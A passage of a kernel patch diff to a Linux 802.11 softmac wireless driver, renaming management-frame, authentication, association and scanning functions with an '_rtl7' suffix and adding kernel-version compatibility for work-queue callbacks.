ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = 